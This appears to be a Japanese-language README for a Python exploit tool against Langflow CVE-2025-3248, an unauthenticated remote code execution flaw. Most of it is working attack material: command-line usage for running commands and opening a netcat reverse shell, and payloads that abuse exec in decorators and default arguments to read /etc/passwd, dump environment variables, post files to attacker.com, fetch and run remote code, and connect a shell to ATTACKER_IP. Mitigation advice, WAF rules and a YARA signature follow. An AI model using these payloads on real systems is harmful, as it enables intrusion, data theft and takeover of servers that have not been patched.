
Langflow バージョン ≤ 1.3.0 における重要な未認証リモートコード実行脆弱性 CVE-2025-3248 のテストとデモンストレーションのための包括的な Python エクスプロイトフレームワーク。
Langflow バージョン ≤1.3.0 における深刻な未認証リモートコード実行脆弱性 CVE-2025-3248 のテストと実証のための、包括的な Python エクスプロイトフレームワークです。
| プロパティ | 値 |
|---|---|
| CVE ID | CVE-2025-3248 |
| 製品 | Langflow |
| 影響を受けるバージョン | ≤ 1.3.0 |
| 脆弱性の種類 | 未認証のリモートコード実行 (RCE) |
| 攻撃ベクトル | ネットワーク |
| 必要な認証 | なし |
| CVSS スコア | 9.8 (Critical) |
| EPSS スコア | 92.57% |
| CWE | CWE-94 (コード生成の不適切な制御) |
| 脆弱なエンドポイント | /api/v1/validate/code |
脆弱性は、/api/v1/validate/code API エンドポイントに存在します。このエンドポイントは任意の Python コードを受け入れ、適切な入力サニタイズやサンドボックス化を行わずに Python の安全でない exec() 関数を使って検証します。この脆弱性は、以下の Python の挙動を悪用します。
攻撃者 → POST /api/v1/validate/code → Python exec() → RCE
↓
認証不要
↓
任意のPythonコード
↓
システムコマンド実行
Python >= 3.7
requests >= 2.25.0
pip install requests
pip install colorama # Windows の色サポート用
git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py
python3 cve_2025_3248_test.py -t <target_url> [options]
python3 cve_2025_3248_test.py -t http://target.com
python3 cve_2025_3248_test.py -t http://target.com -c "whoami"
python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"
ステップ1: 自身のマシンで netcat リスナーを起動
nc -lvnp 4444
ステップ2: エクスプロイトを実行
python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444
例:
python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444
python3 cve_2025_3248_test.py -t http://target.com --timeout 30
positional arguments:
None
optional arguments:
-t, --target TARGET ターゲットURL (例: http://target.com) [必須]
-c, --command COMMAND 実行するコマンド (デフォルト: id)
--timeout TIMEOUT リクエストタイムアウト (秒) (デフォルト: 10)
--exploit エクスプロイトモードを有効化 (リバースシェル)
--lhost LHOST リバースシェル用の自身のIPアドレス
--lport LPORT リバースシェル用の自身のポート
-h, --help このヘルプメッセージを表示
payload = {
"code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
pass
"""
}
payload = {
"code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
pass
"""
}
payload = {
"code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
pass
"""
}
payload = {
"code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
pass
"""
}
payload = {
"code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
pass
"""
}
Langflow のアップグレード
pip install langflow>=1.3.0
# または
docker pull langflow:latest
ネットワークアクセスの制限
# Nginx リバースプロキシ - 脆弱なエンドポイントをブロック
location /api/v1/validate/code {
deny all;
}
認証の実装
# 認証ミドルウェアを追加
@app.middleware("http")
async def auth_middleware(request, call_next):
if "/api/v1/validate/code" in request.url.path:
if not verify_auth(request):
return JSONResponse(status_code=401)
return await call_next(request)
ModSecurity ルール:
SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"
YARA シグネチャ:
rule CVE_2025_3248_Langflow_RCE {
strings:
$api_path = "/api/v1/validate/code"
$exec = "exec("
$subprocess = "subprocess"
$os_system = "os.system"
condition:
$api_path and any of ($exec, $subprocess, $os_system)
}
# 不審なリクエストの監視
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"
# 脆弱なエンドポイントへの POST リクエストをアラート
auditctl -w /var/lib/langflow -p wa -k langflow_changes
/api/v1/validate/code への異常な POST リクエスト/tmp 内の異常なタイムスタンプで作成されたファイル脆弱性チェーンは以下のように動作します:
# 攻撃者はこのペイロードを送信:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json
{
"code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}
# サーバーは次のように処理:
exec(code) # ← 危険!サニタイズなし
# AST 解析中にデフォルト引数が評価される:
# exec('import os; os.system("whoami")')
# 結果: 任意のコマンド実行
Python のデコレーターの関数定義時の挙動:
# このコードは即座に実行される:
@decorator_expression
def my_function():
pass
# つまり、このペイロードはコードを実行する:
@exec("malicious_code_here")
def vulnerable_function():
pass
許可されたセキュリティテストを実施する際:
コントリビューションを歓迎します!以下のガイドラインに従ってください:
git checkout -b feature/amazing-feature)git commit -m '素晴らしい機能を追加')git push origin feature/amazing-feature)重要なお知らせ:
このツールは教育目的および許可されたセキュリティテスト目的のみで提供されています。コンピュータシステムへの不正アクセスは違法であり、以下の法律に違反します:
作成者およびコントリビューターは、このツールの誤用に対していかなる責任も負いません。
最終更新日: November 21, 2025
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0 ║
║ 責任を持って使用 - 許可されたテストのみ ║
╚═══════════════════════════════════════════════════════════╝
| 日付 | イベント |
|---|
| 2025-04-06 | 脆弱性が発見され、Langflow チームに報告 |
| 2025-04-17 | 公開エクスプロイトが公開 (Exploit-DB) |
| 2025-05-14 | FortiguardLabs がアウトブレイクアラートを発行 |
| 2025-05-21 | Zscaler ThreatLabz の分析が公開 |
| 2025-05-22 | RecordedFuture が活発な悪用を報告 |
| 2025-06-16 | TrendMicro が FLODRIC ボットネットによる悪用を報告 |
| 2025-06-17 | OffSec が包括的な分析を公開 |
| 2025-11-05 | SentinelOne の脆弱性データベースに登録 |
| 2025-11-20 | 継続的な悪用試行が観測 |